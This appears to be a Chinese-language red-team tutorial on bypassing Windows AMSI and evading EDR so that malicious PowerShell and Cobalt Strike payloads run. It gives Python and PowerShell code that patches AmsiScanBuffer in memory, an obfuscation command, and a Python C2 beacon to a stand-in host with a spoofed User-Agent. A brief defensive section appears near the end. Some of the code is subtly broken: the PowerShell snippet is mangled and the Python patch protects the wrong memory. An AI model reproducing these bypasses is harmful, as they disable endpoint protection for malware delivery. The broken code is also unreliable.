一、真实场景:如何绕过AMSI拦截恶意脚本?
某次内部渗透测试中,我们发现目标环境的Windows Defender启用了AMS(Antimalware Scan Interface),导致我们的PowerShell脚本和Cobalt Strike的载荷频频被拦截。更糟的是,目标系统还部署了基于AMS的第三方EDR工具,这进一步提高了脚本扫描的检测敏锐度。
为了避免被拦截,我们需要研究有效的AMSI绕过技术。最终通过一些高效的方法,我们成功将恶意Payload注入目标环境,并绕过了AMSI的检测。本次文章会全面剖析如何实现这一目标,包括工具用法、代码技巧以及武器化思路。
---
二、AMSI背后的杀伤力:你必须了解的原理
AMSI的工作机制
AMS(Antimalware Scan Interface)是微软为Windows平台设计的动态脚本扫描机制,主要目的是拦截PowerShell、VBScript和JScript中的恶意代码。它通过以下步骤实现实时检测:
- 脚本执行时,数据会被传递到AMSI扫描接口;
- AMSI将数据转发给注册的反病毒引擎(例如Windows Defender);
- 如果检测出恶意内容,脚本会被阻止运行。
这种机制对攻击者来说是致命的,因为它几乎实时扫描脚本内容,无论脚本的加密或混淆程度如何。
绕过原理
AMSI的检测依赖于两个主要环节:
- 拦截点: PowerShell的运行时会调用AMSI相关函数,将脚本内容发送给检测引擎;
- 扫描规则: EDR会基于行为规则或签名匹配进行拦截。
绕过AMSI的核心在于两种方法:
- 修改拦截点: 通过内存加载或直接篡改AMSI的DLL函数实现Disable。
- 避开规则: 使用混淆技术让脚本内容规避EDR规则匹配。
接下来,我们将从实战角度出发,展示如何高效绕过AMSI,降低被检测的风险。
---
三、构造绕过环境:让脚本飞起来
实验环境配置
为了模拟目标环境,我们搭建了以下实验环境:
- 系统: Windows 11(启用Windows Defender)
- EDR工具: CrowdStrike Falcon(支持AMSI扫描)
- 攻击工具: Cobalt Strike、PowerShell、Python
环境搭建步骤
- 在虚拟机中安装Windows 11,并确保Windows Defender处于激活状态;
- 部署CrowdStrike Falcon作为第三方EDR,确保完整启用AMS功能;
- 在攻击机上安装Cobalt Strike,准备Payload注入测试。
目标: 在不触发AMS检测的前提下,成功运行恶意脚本并注入C2通信。
---
四、代码实战:手把手教你绕过AMSI
方法一:内存级绕过
这个方法通过直接修改AMSI的内存内容,将其变为“假接口”,从而绕过检测。
Python实现
<pre><code class="language-python">import ctypes
定义AMSI函数的GUID
AMSI_DLL = "amsi.dll"
从内存中加载amsi.dll
amsi = ctypes.windll.LoadLibrary(AMSI_DLL)
修改AMSI的ScanBuffer函数地址,直接返回成功状态
def bypass_amsi(): ScanBuffer = amsi.AmsiScanBuffer patch = ctypes.create_string_buffer(b"\x31\xC0\xC3") # x86指令:xor eax, eax; ret ctypes.windll.kernel32.VirtualProtect(ctypes.byref(patch), len(patch), 0x40, ctypes.byref(ctypes.c_ulong())) ctypes.memmove(ScanBuffer, patch, len(patch)) print("AMSI bypass successful!")
bypass_amsi()</code></pre>
功能解读
- AmsiScanBuffer函数: 这是AMSI的核心检测逻辑,我们直接将它的返回值篡改为“无恶意内容”。
- 内存操作: 使用
VirtualProtect将内存设为可写,然后完成修改。
方法二:PowerShell代码
如果目标环境允许执行PowerShell脚本,可以直接修改AMSI接口。
POC代码
<pre><code class="language-powershell">$amsiDLL = System.Runtime.InteropServices.Marshal]::GetHINSTANCE([System.Reflection.Assembly]::Load("amsi").GetModules()[0]) $patch = [byte[] # x86指令:xor eax, eax; ret [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $amsiDLL, $patch.Length) Write-Host "AMSI bypassed successfully!"</code></pre>
运行方法
- 打开PowerShell并输入代码;
- 确保执行策略为
Unrestricted; - 验证Payload是否绕过检测。
---
五、规避EDR规则:混淆与流量伪装
即使绕过AMSI,EDR仍然可能通过行为分析或签名规则检测恶意活动。下面是两种实战中常用的规避方法。
脚本混淆
通过自动化工具对PowerShell脚本进行混淆,使其内容难以解析。
混淆工具
使用Invoke-Obfuscation工具,可以将脚本代码转化为难以检测的格式。例如: <pre><code class="language-powershell">Invoke-Obfuscation -ScriptBlock 'Write-Host "AMSI bypassed"' -Command</code></pre>

流量伪装
针对C2通信,建议使用HTTPS或DNS隧道伪装流量,使其难以被EDR识别。
Python示例
<pre><code class="language-python">import requests
def send_command(): url = "https://secure-c2.example.com" headers = {"User-Agent": "LegitimateApp/1.0"} response = requests.post(url, data={"cmd": "execute"}, headers=headers) print(response.text)
send_command()</code></pre>
---
六、检测与防守:如何反制绕过技术?
虽然攻击者可以绕过AMSI,但防御者也有一些应对策略:
- 使用行为检测:监控脚本行为,例如权限提升或内存篡改;
- 加强EDR规则:识别常见混淆手法和Payload指纹;
- 定期更新签名库:确保检测引擎覆盖最新的绕过技术。

此外,部署基于AI的威胁检测系统可以进一步提高识别率。
---
七、红队经验:实战中的教训与心得

- 绕过不代表完全隐身: 即使成功绕过AMSI,EDR仍然可能通过其他方式发现恶意活动,因此流量伪装和行为低调同样重要。
- 实时验证绕过效果: 在目标环境中,建议使用沙盒或虚拟机进行绕过测试,以确保技术有效。
- 动态Payload优先: 静态脚本容易被签名检测,动态生成的Payload更具隐蔽性。
最终,绕过技术的选择需要根据目标环境的防御措施灵活调整。至此,AMSI绕过的实战分享告一段落,希望这篇文章能够为你的渗透测试带来实质性的帮助。